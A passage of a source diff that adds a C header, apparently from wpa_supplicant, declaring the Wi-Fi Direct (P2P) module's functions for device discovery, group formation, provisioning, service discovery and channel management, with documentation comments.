P2P_FIND_ONLY_SOCIAL, + P2P_FIND_PROGRESSIVE +}; + +/** + * p2p_find - Start P2P Find (Device Discovery) + * @p2p: P2P module context from p2p_init() + * @timeout: Timeout for find operation in seconds or 0 for no timeout + * @type: Device Discovery type + * @num_req_dev_types: Number of requested device types + * @req_dev_types: Requested device types array, must be an array + * containing num_req_dev_types * WPS_DEV_TYPE_LEN bytes; %NULL if no + * requested device types. + * @dev_id: Device ID to search for or %NULL to find all devices + * @search_delay: Extra delay in milliseconds between search iterations + * Returns: 0 on success, -1 on failure + */ +int p2p_find(struct p2p_data *p2p, unsigned int timeout, + enum p2p_discovery_type type, + unsigned int num_req_dev_types, const u8 *req_dev_types, + const u8 *dev_id, unsigned int search_delay); + +/** + * p2p_stop_find - Stop P2P Find (Device Discovery) + * @p2p: P2P module context from p2p_init() + */ +void p2p_stop_find(struct p2p_data *p2p); + +/** + * p2p_stop_find_for_freq - Stop P2P Find for next oper on specific freq + * @p2p: P2P module context from p2p_init() + * @freq: Frequency in MHz for next operation + * + * This is like p2p_stop_find(), but Listen state is not stopped if we are + * already on the same frequency. + */ +void p2p_stop_find_for_freq(struct p2p_data *p2p, int freq); + +/** + * p2p_listen - Start P2P Listen state for specified duration + * @p2p: P2P module context from p2p_init() + * @timeout: Listen state duration in milliseconds + * Returns: 0 on success, -1 on failure + * + * This function can be used to request the P2P module to keep the device + * discoverable on the listen channel for an extended set of time. At least in + * its current form, this is mainly used for testing purposes and may not be of + * much use for normal P2P operations. + */ +int p2p_listen(struct p2p_data *p2p, unsigned int timeout); + +/** + * p2p_stop_listen - Stop P2P Listen + * @p2p: P2P module context from p2p_init() + */ +void p2p_stop_listen(struct p2p_data *p2p); + +/** + * p2p_connect - Start P2P group formation (GO negotiation) + * @p2p: P2P module context from p2p_init() + * @peer_addr: MAC address of the peer P2P client + * @wps_method: WPS method to be used in provisioning + * @go_intent: Local GO intent value (1..15) + * @own_interface_addr: Intended interface address to use with the group + * @force_freq: The only allowed channel frequency in MHz or 0 + * @persistent_group: Whether to create a persistent group (0 = no, 1 = + * persistent group without persistent reconnect, 2 = persistent group with + * persistent reconnect) + * @force_ssid: Forced SSID for the group if we become GO or %NULL to generate + * a new SSID + * @force_ssid_len: Length of $force_ssid buffer + * @pd_before_go_neg: Whether to send Provision Discovery prior to GO + * Negotiation as an interoperability workaround when initiating group + * formation + * @pref_freq: Preferred operating frequency in MHz or 0 (this is only used if + * force_freq == 0) + * Returns: 0 on success, -1 on failure + */ +int p2p_connect(struct p2p_data *p2p, const u8 *peer_addr, + enum p2p_wps_method wps_method, + int go_intent, const u8 *own_interface_addr, + unsigned int force_freq, int persistent_group, + const u8 *force_ssid, size_t force_ssid_len, + int pd_before_go_neg, unsigned int pref_freq); + +/** + * p2p_authorize - Authorize P2P group formation (GO negotiation) + * @p2p: P2P module context from p2p_init() + * @peer_addr: MAC address of the peer P2P client + * @wps_method: WPS method to be used in provisioning + * @go_intent: Local GO intent value (1..15) + * @own_interface_addr: Intended interface address to use with the group + * @force_freq: The only allowed channel frequency in MHz or 0 + * @persistent_group: Whether to create a persistent group (0 = no, 1 = + * persistent group without persistent reconnect, 2 = persistent group with + * persistent reconnect) + * @force_ssid: Forced SSID for the group if we become GO or %NULL to generate + * a new SSID + * @force_ssid_len: Length of $force_ssid buffer + * @pref_freq: Preferred operating frequency in MHz or 0 (this is only used if + * force_freq == 0) + * Returns: 0 on success, -1 on failure + * + * This is like p2p_connect(), but the actual group negotiation is not + * initiated automatically, i.e., the other end is expected to do that. + */ +int p2p_authorize(struct p2p_data *p2p, const u8 *peer_addr, + enum p2p_wps_method wps_method, + int go_intent, const u8 *own_interface_addr, + unsigned int force_freq, int persistent_group, + const u8 *force_ssid, size_t force_ssid_len, + unsigned int pref_freq); + +/** + * p2p_reject - Reject peer device (explicitly block connection attempts) + * @p2p: P2P module context from p2p_init() + * @peer_addr: MAC address of the peer P2P client + * Returns: 0 on success, -1 on failure + */ +int p2p_reject(struct p2p_data *p2p, const u8 *peer_addr); + +/** + * p2p_prov_disc_req - Send Provision Discovery Request + * @p2p: P2P module context from p2p_init() + * @peer_addr: MAC address of the peer P2P client + * @config_methods: WPS Config Methods value (only one bit set) + * @join: Whether this is used by a client joining an active group + * @force_freq: Forced TX frequency for the frame (mainly for the join case) + * @user_initiated_pd: Flag to indicate if initiated by user or not + * Returns: 0 on success, -1 on failure + * + * This function can be used to request a discovered P2P peer to display a PIN + * (config_methods = WPS_CONFIG_DISPLAY) or be prepared to enter a PIN from us + * (config_methods = WPS_CONFIG_KEYPAD). The Provision Discovery Request frame + * is transmitted once immediately and if no response is received, the frame + * will be sent again whenever the target device is discovered during device + * dsicovery (start with a p2p_find() call). Response from the peer is + * indicated with the p2p_config::prov_disc_resp() callback. + */ +int p2p_prov_disc_req(struct p2p_data *p2p, const u8 *peer_addr, + u16 config_methods, int join, int force_freq, + int user_initiated_pd); + +/** + * p2p_sd_request - Schedule a service discovery query + * @p2p: P2P module context from p2p_init() + * @dst: Destination peer or %NULL to apply for all peers + * @tlvs: P2P Service Query TLV(s) + * Returns: Reference to the query or %NULL on failure + * + * Response to the query is indicated with the p2p_config::sd_response() + * callback. + */ +void * p2p_sd_request(struct p2p_data *p2p, const u8 *dst, + const struct wpabuf *tlvs); + +#ifdef CONFIG_WIFI_DISPLAY +void * p2p_sd_request_wfd(struct p2p_data *p2p, const u8 *dst, + const struct wpabuf *tlvs); +#endif /* CONFIG_WIFI_DISPLAY */ + +/** + * p2p_sd_cancel_request - Cancel a pending service discovery query + * @p2p: P2P module context from p2p_init() + * @req: Query reference from p2p_sd_request() + * Returns: 0 if request for cancelled; -1 if not found + */ +int p2p_sd_cancel_request(struct p2p_data *p2p, void *req); + +/** + * p2p_sd_response - Send response to a service discovery query + * @p2p: P2P module context from p2p_init() + * @freq: Frequency from p2p_config::sd_request() callback + * @dst: Destination address from p2p_config::sd_request() callback + * @dialog_token: Dialog token from p2p_config::sd_request() callback + * @resp_tlvs: P2P Service Response TLV(s) + * + * This function is called as a response to the request indicated with + * p2p_config::sd_request() callback. + */ +void p2p_sd_response(struct p2p_data *p2p, int freq, const u8 *dst, + u8 dialog_token, const struct wpabuf *resp_tlvs); + +/** + * p2p_sd_service_update - Indicate a change in local services + * @p2p: P2P module context from p2p_init() + * + * This function needs to be called whenever there is a change in availability + * of the local services. This will increment the Service Update Indicator + * value which will be used in SD Request and Response frames. + */ +void p2p_sd_service_update(struct p2p_data *p2p); + + +enum p2p_invite_role { + P2P_INVITE_ROLE_GO, + P2P_INVITE_ROLE_ACTIVE_GO, + P2P_INVITE_ROLE_CLIENT +}; + +/** + * p2p_invite - Invite a P2P Device into a group + * @p2p: P2P module context from p2p_init() + * @peer: Device Address of the peer P2P Device + * @role: Local role in the group + * @bssid: Group BSSID or %NULL if not known + * @ssid: Group SSID + * @ssid_len: Length of ssid in octets + * @force_freq: The only allowed channel frequency in MHz or 0 + * @go_dev_addr: Forced GO Device Address or %NULL if none + * @persistent_group: Whether this is to reinvoke a persistent group + * @pref_freq: Preferred operating frequency in MHz or 0 (this is only used if + * force_freq == 0) + * Returns: 0 on success, -1 on failure + */ +int p2p_invite(struct p2p_data *p2p, const u8 *peer, enum p2p_invite_role role, + const u8 *bssid, const u8 *ssid, size_t ssid_len, + unsigned int force_freq, const u8 *go_dev_addr, + int persistent_group, unsigned int pref_freq); + +/** + * p2p_presence_req - Request GO presence + * @p2p: P2P module context from p2p_init() + * @go_interface_addr: GO P2P Interface Address + * @own_interface_addr: Own P2P Interface Address for this group + * @freq: Group operating frequence (in MHz) + * @duration1: Preferred presence duration in microseconds + * @interval1: Preferred presence interval in microseconds + * @duration2: Acceptable presence duration in microseconds + * @interval2: Acceptable presence interval in microseconds + * Returns: 0 on success, -1 on failure + * + * If both duration and interval values are zero, the parameter pair is not + * specified (i.e., to remove Presence Request, use duration1 = interval1 = 0). + */ +int p2p_presence_req(struct p2p_data *p2p, const u8 *go_interface_addr, + const u8 *own_interface_addr, unsigned int freq, + u32 duration1, u32 interval1, u32 duration2, + u32 interval2); + +/** + * p2p_ext_listen - Set Extended Listen Timing + * @p2p: P2P module context from p2p_init() + * @freq: Group operating frequence (in MHz) + * @period: Availability period in milliseconds (1-65535; 0 to disable) + * @interval: Availability interval in milliseconds (1-65535; 0 to disable) + * Returns: 0 on success, -1 on failure + * + * This function can be used to enable or disable (period = interval = 0) + * Extended Listen Timing. When enabled, the P2P Device will become + * discoverable (go into Listen State) every @interval milliseconds for at + * least @period milliseconds. + */ +int p2p_ext_listen(struct p2p_data *p2p, unsigned int period, + unsigned int interval); + +/* Event notifications from upper layer management operations */ + +/** + * p2p_wps_success_cb - Report successfully completed WPS provisioning + * @p2p: P2P module context from p2p_init() + * @mac_addr: Peer address + * + * This function is used to report successfully completed WPS provisioning + * during group formation in both GO/Registrar and client/Enrollee roles. + */ +void p2p_wps_success_cb(struct p2p_data *p2p, const u8 *mac_addr); + +/** + * p2p_group_formation_failed - Report failed WPS provisioning + * @p2p: P2P module context from p2p_init() + * + * This function is used to report failed group formation. This can happen + * either due to failed WPS provisioning or due to 15 second timeout during + * the provisioning phase. + */ +void p2p_group_formation_failed(struct p2p_data *p2p); + +/** + * p2p_get_provisioning_info - Get any stored provisioning info + * @p2p: P2P module context from p2p_init() + * @addr: Peer P2P Device Address + * Returns: WPS provisioning information (WPS config method) or 0 if no + * information is available + * + * This function is used to retrieve stored WPS provisioning info for the given + * peer. + */ +u16 p2p_get_provisioning_info(struct p2p_data *p2p, const u8 *addr); + +/** + * p2p_clear_provisioning_info - Clear any stored provisioning info + * @p2p: P2P module context from p2p_init() + * @iface_addr: Peer P2P Device Address + * + * This function is used to clear stored WPS provisioning info for the given + * peer. + */ +void p2p_clear_provisioning_info(struct p2p_data *p2p, const u8 *addr); + + +/* Event notifications from lower layer driver operations */ + +/** + * enum p2p_probe_req_status + * + * @P2P_PREQ_MALFORMED: frame was not well-formed + * @P2P_PREQ_NOT_LISTEN: device isn't in listen state, frame ignored + * @P2P_PREQ_NOT_P2P: frame was not a P2P probe request + * @P2P_PREQ_P2P_NOT_PROCESSED: frame was P2P but wasn't processed + * @P2P_PREQ_P2P_PROCESSED: frame has been processed by P2P + */ +enum p2p_probe_req_status { + P2P_PREQ_MALFORMED, + P2P_PREQ_NOT_LISTEN, + P2P_PREQ_NOT_P2P, + P2P_PREQ_NOT_PROCESSED, + P2P_PREQ_PROCESSED +}; + +/** + * p2p_probe_req_rx - Report reception of a Probe Request frame + * @p2p: P2P module context from p2p_init() + * @addr: Source MAC address + * @dst: Destination MAC address if available or %NULL + * @bssid: BSSID if available or %NULL + * @ie: Information elements from the Probe Request frame body + * @ie_len: Length of ie buffer in octets + * Returns: value indicating the type and status of the probe request + */ +enum p2p_probe_req_status +p2p_probe_req_rx(struct p2p_data *p2p, const u8 *addr, const u8 *dst, + const u8 *bssid, const u8 *ie, size_t ie_len); + +/** + * p2p_rx_action - Report received Action frame + * @p2p: P2P module context from p2p_init() + * @da: Destination address of the received Action frame + * @sa: Source address of the received Action frame + * @bssid: Address 3 of the received Action frame + * @category: Category of the received Action frame + * @data: Action frame body after the Category field + * @len: Length of the data buffer in octets + * @freq: Frequency (in MHz) on which the frame was received + */ +void p2p_rx_action(struct p2p_data *p2p, const u8 *da, const u8 *sa, + const u8 *bssid, u8 category, + const u8 *data, size_t len, int freq); + +/** + * p2p_scan_res_handler - Indicate a P2P scan results + * @p2p: P2P module context from p2p_init() + * @bssid: BSSID of the scan result + * @freq: Frequency of the channel on which the device was found in MHz + * @rx_time: Time when the result was received + * @level: Signal level (signal strength of the received Beacon/Probe Response + * frame) + * @ies: Pointer to IEs from the scan result + * @ies_len: Length of the ies buffer + * Returns: 0 to continue or 1 to stop scan result indication + * + * This function is called to indicate a scan result entry with P2P IE from a + * scan requested with struct p2p_config::p2p_scan(). This can be called during + * the actual scan process (i.e., whenever a new device is found) or as a + * sequence of calls after the full scan has been completed. The former option + * can result in optimized operations, but may not be supported by all + * driver/firmware designs. The ies buffer need to include at least the P2P IE, + * but it is recommended to include all IEs received from the device. The + * caller does not need to check that the IEs contain a P2P IE before calling + * this function since frames will be filtered internally if needed. + * + * This function will return 1 if it wants to stop scan result iteration (and + * scan in general if it is still in progress). This is used to allow faster + * start of a pending operation, e.g., to start a pending GO negotiation. + */ +int p2p_scan_res_handler(struct p2p_data *p2p, const u8 *bssid, int freq, + struct os_time *rx_time, int level, const u8 *ies, + size_t ies_len); + +/** + * p2p_scan_res_handled - Indicate end of scan results + * @p2p: P2P module context from p2p_init() + * + * This function is called to indicate that all P2P scan results from a scan + * have been reported with zero or more calls to p2p_scan_res_handler(). This + * function must be called as a response to successful + * struct p2p_config::p2p_scan() call if none of the p2p_scan_res_handler() + * calls stopped iteration. + */ +void p2p_scan_res_handled(struct p2p_data *p2p); + +enum p2p_send_action_result { + P2P_SEND_ACTION_SUCCESS /* Frame was send and acknowledged */, + P2P_SEND_ACTION_NO_ACK /* Frame was sent, but not acknowledged */, + P2P_SEND_ACTION_FAILED /* Frame was not sent due to a failure */ +}; + +/** + * p2p_send_action_cb - Notify TX status of an Action frame + * @p2p: P2P module context from p2p_init() + * @freq: Channel frequency in MHz + * @dst: Destination MAC address (Address 1) + * @src: Source MAC address (Address 2) + * @bssid: BSSID (Address 3) + * @result: Result of the transmission attempt + * + * This function is used to indicate the result of an Action frame transmission + * that was requested with struct p2p_config::send_action() callback. + */ +void p2p_send_action_cb(struct p2p_data *p2p, unsigned int freq, const u8 *dst, + const u8 *src, const u8 *bssid, + enum p2p_send_action_result result); + +/** + * p2p_listen_cb - Indicate the start of a requested Listen state + * @p2p: P2P module context from p2p_init() + * @freq: Listen channel frequency in MHz + * @duration: Duration for the Listen state in milliseconds + * + * This function is used to indicate that a Listen state requested with + * struct p2p_config::start_listen() callback has started. + */ +void p2p_listen_cb(struct p2p_data *p2p, unsigned int freq, + unsigned int duration); + +/** + * p2p_listen_end - Indicate the end of a requested Listen state + * @p2p: P2P module context from p2p_init() + * @freq: Listen channel frequency in MHz + * Returns: 0 if no operations were started, 1 if an operation was started + * + * This function is used to indicate that a Listen state requested with + * struct p2p_config::start_listen() callback has ended. + */ +int p2p_listen_end(struct p2p_data *p2p, unsigned int freq); + +void p2p_deauth_notif(struct p2p_data *p2p, const u8 *bssid, u16 reason_code, + const u8 *ie, size_t ie_len); + +void p2p_disassoc_notif(struct p2p_data *p2p, const u8 *bssid, u16 reason_code, + const u8 *ie, size_t ie_len); + + +/* Per-group P2P state for GO */ + +struct p2p_group; + +/** + * struct p2p_group_config - P2P group configuration + * + * This configuration is provided to the P2P module during initialization of + * the per-group information with p2p_group_init(). + */ +struct p2p_group_config { + /** + * persistent_group - Whether the group is persistent + * 0 = not a persistent group + * 1 = persistent group without persistent reconnect + * 2 = persistent group with persistent reconnect + */ + int persistent_group; + + /** + * interface_addr - P2P Interface Address of the group + */ + u8 interface_addr[ETH_ALEN]; + + /** + * max_clients - Maximum number of clients in the group + */ + unsigned int max_clients; + + /** + * ssid - Group SSID + */ + u8 ssid[32]; + + /** + * ssid_len - Length of SSID + */ + size_t ssid_len; + + /** + * cb_ctx - Context to use with callback functions + */ + void *cb_ctx; + + /** + * ie_update - Notification of IE update + * @ctx: Callback context from cb_ctx + * @beacon_ies: P2P IE for Beacon frames or %NULL if no change + * @proberesp_ies: P2P Ie for Probe Response frames + * + * P2P module uses this callback function to notify whenever the P2P IE + * in Beacon or Probe Response frames should be updated based on group + * events. + * + * The callee is responsible for freeing the returned buffer(s) with + * wpabuf_free(). + */ + void (*ie_update)(void *ctx, struct wpabuf *beacon_ies, + struct wpabuf *proberesp_ies); + + /** + * idle_update - Notification of changes in group idle state + * @ctx: Callback context from cb_ctx + * @idle: Whether the group is idle (no associated stations) + */ + void (*idle_update)(void *ctx, int idle); +}; + +/** + * p2p_group_init - Initialize P2P group + * @p2p: P2P module context from p2p_init() + * @config: P2P group configuration (will be freed by p2p_group_deinit()) + * Returns: Pointer to private data or %NULL on failure + * + * This function is used to initialize per-group P2P module context. Currently, + * this is only used to manage GO functionality and P2P clients do not need to + * create an instance of this per-group information. + */ +struct p2p_group * p2p_group_init(struct p2p_data *p2p, + struct p2p_group_config *config); + +/** + * p2p_group_deinit - Deinitialize P2P group + * @group: P2P group context from p2p_group_init() + */ +void p2p_group_deinit(struct p2p_group *group); + +/** + * p2p_group_notif_assoc - Notification of P2P client association with GO + * @group: P2P group context from p2p_group_init() + * @addr: Interface address of the P2P client + * @ie: IEs from the (Re)association Request frame + * @len: Length of the ie buffer in octets + * Returns: 0 on success, -1 on failure + */ +int p2p_group_notif_assoc(struct p2p_group *group, const u8 *addr, + const u8 *ie, size_t len); + +/** + * p2p_group_assoc_resp_ie - Build P2P IE for (re)association response + * @group: P2P group context from p2p_group_init() + * @status: Status value (P2P_SC_SUCCESS if association succeeded) + * Returns: P2P IE for (Re)association Response or %NULL on failure + * + * The caller is responsible for freeing the returned buffer with + * wpabuf_free(). + */ +struct wpabuf * p2p_group_assoc_resp_ie(struct p2p_group *group, u8 status); + +/** + * p2p_group_notif_disassoc - Notification of P2P client disassociation from GO + * @group: P2P group context from p2p_group_init() + * @addr: Interface address of the P2P client + */ +void p2p_group_notif_disassoc(struct p2p_group *group, const u8 *addr); + +/** + * p2p_group_notif_formation_done - Notification of completed group formation + * @group: P2P group context from p2p_group_init() + */ +void p2p_group_notif_formation_done(struct p2p_group *group); + +/** + * p2p_group_notif_noa - Notification of NoA change + * @group: P2P group context from p2p_group_init() + * @noa: Notice of Absence attribute payload, %NULL if none + * @noa_len: Length of noa buffer in octets + * Returns: 0 on success, -1 on failure + * + * Notify the P2P group management about a new NoA contents. This will be + * inserted into the P2P IEs in Beacon and Probe Response frames with rest of + * the group information. + */ +int p2p_group_notif_noa(struct p2p_group *group, const u8 *noa, + size_t noa_len); + +/** + * p2p_group_match_dev_type - Match device types in group with requested type + * @group: P2P group context from p2p_group_init() + * @wps: WPS TLVs from Probe Request frame (concatenated WPS IEs) + * Returns: 1 on match, 0 on mismatch + * + * This function can be used to match the Requested Device Type attribute in + * WPS IE with the device types of a group member for deciding whether a GO + * should reply to a Probe Request frame. Match will be reported if the WPS IE + * is not requested any specific device type. + */ +int p2p_group_match_dev_type(struct p2p_group *group, struct wpabuf *wps); + +/** + * p2p_group_match_dev_id - Match P2P Device Address in group with requested device id + */ +int p2p_group_match_dev_id(struct p2p_group *group, struct wpabuf *p2p); + +/** + * p2p_group_go_discover - Send GO Discoverability Request to a group client + * @group: P2P group context from p2p_group_init() + * Returns: 0 on success (frame scheduled); -1 if client was not found + */ +int p2p_group_go_discover(struct p2p_group *group, const u8 *dev_id, + const u8 *searching_dev, int rx_freq); + + +/* Generic helper functions */ + +/** + * p2p_ie_text - Build text format description of P2P IE + * @p2p_ie: P2P IE + * @buf: Buffer for returning text + * @end: Pointer to the end of the buf area + * Returns: Number of octets written to the buffer or -1 on failure + * + * This function can be used to parse P2P IE contents into text format + * field=value lines. + */ +int p2p_ie_text(struct wpabuf *p2p_ie, char *buf, char *end); + +/** + * p2p_scan_result_text - Build text format description of P2P IE + * @ies: Information elements from scan results + * @ies_len: ies buffer length in octets + * @buf: Buffer for returning text + * @end: Pointer to the end of the buf area + * Returns: Number of octets written to the buffer or -1 on failure + * + * This function can be used to parse P2P IE contents into text format + * field=value lines. + */ +int p2p_scan_result_text(const u8 *ies, size_t ies_len, char *buf, char *end); + +/** + * p2p_parse_dev_addr_in_p2p_ie - Parse P2P Device Address from a concatenated + * P2P IE + * @p2p_ie: P2P IE + * @dev_addr: Buffer for returning P2P Device Address + * Returns: 0 on success or -1 if P2P Device Address could not be parsed + */ +int p2p_parse_dev_addr_in_p2p_ie(struct wpabuf *p2p_ie, u8 *dev_addr); + +/** + * p2p_parse_dev_addr - Parse P2P Device Address from P2P IE(s) + * @ies: Information elements from scan results + * @ies_len: ies buffer length in octets + * @dev_addr: Buffer for returning P2P Device Address + * Returns: 0 on success or -1 if P2P Device Address could not be parsed + */ +int p2p_parse_dev_addr(const u8 *ies, size_t ies_len, u8 *dev_addr); + +/** + * p2p_assoc_req_ie - Build P2P IE for (Re)Association Request frame + * @p2p: P2P module context from p2p_init() + * @bssid: BSSID + * @buf: Buffer for writing the P2P IE + * @len: Maximum buf length in octets + * @p2p_group: Whether this is for association with a P2P GO + * @p2p_ie: Reassembled P2P IE data from scan results or %NULL if none + * Returns: Number of octets written into buf or -1 on failure + */ +int p2p_assoc_req_ie(struct p2p_data *p2p, const u8 *bssid, u8 *buf, + size_t len, int p2p_group, struct wpabuf *p2p_ie); + +/** + * p2p_scan_ie - Build P2P IE for Probe Request + * @p2p: P2P module context from p2p_init() + * @ies: Buffer for writing P2P IE + * @dev_id: Device ID to search for or %NULL for any + */ +void p2p_scan_ie(struct p2p_data *p2p, struct wpabuf *ies, const u8 *dev_id); + +/** + * p2p_scan_ie_buf_len - Get maximum buffer length needed for p2p_scan_ie + * @p2p: P2P module context from p2p_init() + * Returns: Number of octets that p2p_scan_ie() may add to the buffer + */ +size_t p2p_scan_ie_buf_len(struct p2p_data *p2p); + +/** + * p2p_go_params - Generate random P2P group parameters + * @p2p: P2P module context from p2p_init() + * @params: Buffer for parameters + * Returns: 0 on success, -1 on failure + */ +int p2p_go_params(struct p2p_data *p2p, struct p2p_go_neg_results *params); + +/** + * p2p_get_group_capab - Get Group Capability from P2P IE data + * @p2p_ie: P2P IE(s) contents + * Returns: Group Capability + */ +u8 p2p_get_group_capab(const struct wpabuf *p2p_ie); + +/** + * p2p_get_cross_connect_disallowed - Does WLAN AP disallows cross connection + * @p2p_ie: P2P IE(s) contents + * Returns: 0 if cross connection is allow, 1 if not + */ +int p2p_get_cross_connect_disallowed(const struct wpabuf *p2p_ie); + +/** + * p2p_get_go_dev_addr - Get P2P Device Address from P2P IE data + * @p2p_ie: P2P IE(s) contents + * Returns: Pointer to P2P Device Address or %NULL if not included + */ +const u8 * p2p_get_go_dev_addr(const struct wpabuf *p2p_ie); + +/** + * p2p_get_peer_info - Get P2P peer information + * @p2p: P2P module context from p2p_init() + * @addr: P2P Device Address of the peer or %NULL to indicate the first peer + * @next: Whether to select the peer entry following the one indicated by addr + * Returns: Pointer to peer info or %NULL if not found + */ +const struct p2p_peer_info * p2p_get_peer_info(struct p2p_data *p2p, + const u8 *addr, int next); + +/** + * p2p_get_peer_info_txt - Get internal P2P peer information in text format + * @info: Pointer to P2P peer info from p2p_get_peer_info() + * @buf: Buffer for returning text + * @buflen: Maximum buffer length + * Returns: Number of octets written to the buffer or -1 on failure + * + * Note: This information is internal to the P2P module and subject to change. + * As such, this should not really be used by external programs for purposes + * other than debugging. + */ +int p2p_get_peer_info_txt(const struct p2p_peer_info *info, + char *buf, size_t buflen); + +/** + * p2p_peer_known - Check whether P2P peer is known + * @p2p: P2P module context from p2p_init() + * @addr: P2P Device Address of the peer + * Returns: 1 if the specified device is in the P2P peer table or 0 if not + */ +int p2p_peer_known(struct p2p_data *p2p, const u8 *addr); + +/** + * p2p_set_client_discoverability - Set client discoverability capability + * @p2p: P2P module context from p2p_init() + * @enabled: Whether client discoverability will be enabled + * + * This function can be used to disable (and re-enable) client discoverability. + * This capability is enabled by default and should not be disabled in normal + * use cases, i.e., this is mainly for testing purposes. + */ +void p2p_set_client_discoverability(struct p2p_data *p2p, int enabled); + +/** + * p2p_set_managed_oper - Set managed P2P Device operations capability + * @p2p: P2P module context from p2p_init() + * @enabled: Whether managed P2P Device operations will be enabled + */ +void p2p_set_managed_oper(struct p2p_data *p2p, int enabled); + +int p2p_set_listen_channel(struct p2p_data *p2p, u8 reg_class, u8 channel); + +int p2p_set_ssid_postfix(struct p2p_data *p2p, const u8 *postfix, size_t len); + +int p2p_get_interface_addr(struct p2p_data *p2p, const u8 *dev_addr, + u8 *iface_addr); +int p2p_get_dev_addr(struct p2p_data *p2p, const u8 *iface_addr, + u8 *dev_addr); + +void p2p_set_peer_filter(struct p2p_data *p2p, const u8 *addr); + +/** + * p2p_set_cross_connect - Set cross connection capability + * @p2p: P2P module context from p2p_init() + * @enabled: Whether cross connection will be enabled + */ +void p2p_set_cross_connect(struct p2p_data *p2p, int enabled); + +int p2p_get_oper_freq(struct p2p_data *p2p, const u8 *iface_addr); + +/** + * p2p_set_intra_bss_dist - Set intra BSS distribution + * @p2p: P2P module context from p2p_init() + * @enabled: Whether intra BSS distribution will be enabled + */ +void p2p_set_intra_bss_dist(struct p2p_data *p2p, int enabled); + +int p2p_channels_includes_freq(const struct p2p_channels *channels, + unsigned int freq); + +/** + * p2p_supported_freq - Check whether channel is supported for P2P + * @p2p: P2P module context from p2p_init() + * @freq: Channel frequency in MHz + * Returns: 0 if channel not usable for P2P, 1 if usable for P2P + */ +int p2p_supported_freq(struct p2p_data *p2p, unsigned int freq); + +/** + * p2p_supported_freq_go - Check whether channel is supported for P2P GO operation + * @p2p: P2P module context from p2p_init() + * @freq: Channel frequency in MHz + * Returns: 0 if channel not usable for P2P, 1 if usable for P2P + */ +int p2p_supported_freq_go(struct p2p_data *p2p, unsigned int freq); + +/** + * p2p_supported_freq_cli - Check whether channel is supported for P2P client operation + * @p2p: P2P module context from p2p_init() + * @freq: Channel frequency in MHz + * Returns: 0 if channel not usable for P2P, 1 if usable for P2P + */ +int p2p_supported_freq_cli(struct p2p_data *p2p, unsigned int freq); + +/** + * p2p_get_pref_freq - Get channel from preferred channel list + * @p2p: P2P module context from p2p_init() + * @channels: List of channels + * Returns: Preferred channel + */ +unsigned int p2p_get_pref_freq(struct p2p_data *p2p, + const struct p2p_channels *channels); + +void p2p_update_channel_list(struct p2p_data *p2p, + const struct p2p_channels *chan, + const struct p2p_channels *cli_chan); + +/** + * p2p_set_best_channels - Update best channel information + * @p2p: P2P module context from p2p_init() + * @freq_24: Frequency (MHz) of best channel in 2.4 GHz band + * @freq_5: Frequency (MHz) of best channel in 5 GHz band + * @freq_overall: Frequency (MHz) of best channel overall + */ +void p2p_set_best_channels(struct p2p_data *p2p, int freq_24, int freq_5, + int freq_overall); + +/** + * p2p_set_own_freq_preference - Set own preference for channel + * @p2p: P2P module context from p2p_init() + * @freq: Frequency (MHz) of the preferred channel or 0 if no preference + * + * This function can be used to set a preference on the operating channel based + * on frequencies used on the other virtual interfaces that share the same + * radio. If non-zero, this is used to try to avoid multi-channel concurrency. + */ +void p2p_set_own_freq_preference(struct p2p_data *p2p, int freq); + +const u8 * p2p_get_go_neg_peer(struct p2p_data *p2p); + +/** + * p2p_get_group_num_members - Get number of members in group + * @group: P2P group context from p2p_group_init() + * Returns: Number of members in the group + */ +unsigned int p2p_get_group_num_members(struct p2p_group *group); + +/** + * p2p_iterate_group_members - Iterate group members + * @group: P2P group context from p2p_group_init() + * @next: iteration pointer, must be a pointer to a void * that is set to %NULL + * on the first call and not modified later + * Returns: A P2P Interface Address for each call and %NULL for no more members + */ +const u8 * p2p_iterate_group_members(struct p2p_group *group, void **next); + +/** + * p2p_group_get_dev_addr - Get a P2P Device Address of a client in a group + * @group: P2P group context from p2p_group_init() + * @addr: P2P Interface Address of the client + * Returns: P2P Device Address of the client if found or %NULL if no match + * found + */ +const u8 * p2p_group_get_dev_addr(struct p2p_group *group, const u8 *addr); + +/** + * p2p_group_is_client_connected - Check whether a specific client is connected + * @group: P2P group context from p2p_group_init() + * @addr: P2P Device Address of the client + * Returns: 1 if client is connected or 0 if not + */ +int p2p_group_is_client_connected(struct p2p_group *group, const u8 *dev_addr); + +/** + * p2p_get_peer_found - Get P2P peer info structure of a found peer + * @p2p: P2P module context from p2p_init() + * @addr: P2P Device Address of the peer or %NULL to indicate the first peer + * @next: Whether to select the peer entry following the one indicated by addr + * Returns: The first P2P peer info available or %NULL if no such peer exists + */ +const struct p2p_peer_info * +p2p_get_peer_found(struct p2p_data *p2p, const u8 *addr, int next); + +/** + * p2p_remove_wps_vendor_extensions - Remove WPS vendor extensions + * @p2p: P2P module context from p2p_init() + */ +void p2p_remove_wps_vendor_extensions(struct p2p_data *p2p); + +/** + * p2p_add_wps_vendor_extension - Add a WPS vendor extension + * @p2p: P2P module context from p2p_init() + * @vendor_ext: The vendor extensions to add + * Returns: 0 on success, -1 on failure + * + * The wpabuf structures in the array are owned by the P2P + * module after this call. + */ +int p2p_add_wps_vendor_extension(struct p2p_data *p2p, + const struct wpabuf *vendor_ext); + +/** + * p2p_set_oper_channel - Set the P2P operating channel + * @p2p: P2P module context from p2p_init() + * @op_reg_class: Operating regulatory class to set + * @op_channel: operating channel to set + * @cfg_op_channel : Whether op_channel is hardcoded in configuration + * Returns: 0 on success, -1 on failure + */ +int p2p_set_oper_channel(struct p2p_data *p2p, u8 op_reg_class, u8 op_channel, + int cfg_op_channel); + +/** + * p2p_set_pref_chan - Set P2P preferred channel list + * @p2p: P2P module context from p2p_init() + * @num_pref_chan: Number of entries in pref_chan list + * @pref_chan: Preferred channels or %NULL to remove preferences + * Returns: 0 on success, -1 on failure + */ +int p2p_set_pref_chan(struct p2p_data *p2p, unsigned int num_pref_chan, + const struct p2p_channel *pref_chan); + +/** + * p2p_set_no_go_freq - Set no GO channel ranges + * @p2p: P2P module context from p2p_init() + * @list: Channel ranges or %NULL to remove restriction + * Returns: 0 on success, -1 on failure + */ +int p2p_set_no_go_freq(struct p2p_data *p2p, + const struct wpa_freq_range_list *list); + +/** + * p2p_in_progress - Check whether a P2P operation is progress + * @p2p: P2P module context from p2p_init() + * Returns: 0 if P2P module is idle or 1 if an operation is in progress + */ +int p2p_in_progress(struct p2p_data *p2p); + +/** + * p2p_other_scan_completed - Notify completion of non-P2P scan + * @p2p: P2P module context from p2p_init() + * Returns: 0 if P2P module is idle or 1 if an operation was started + */ 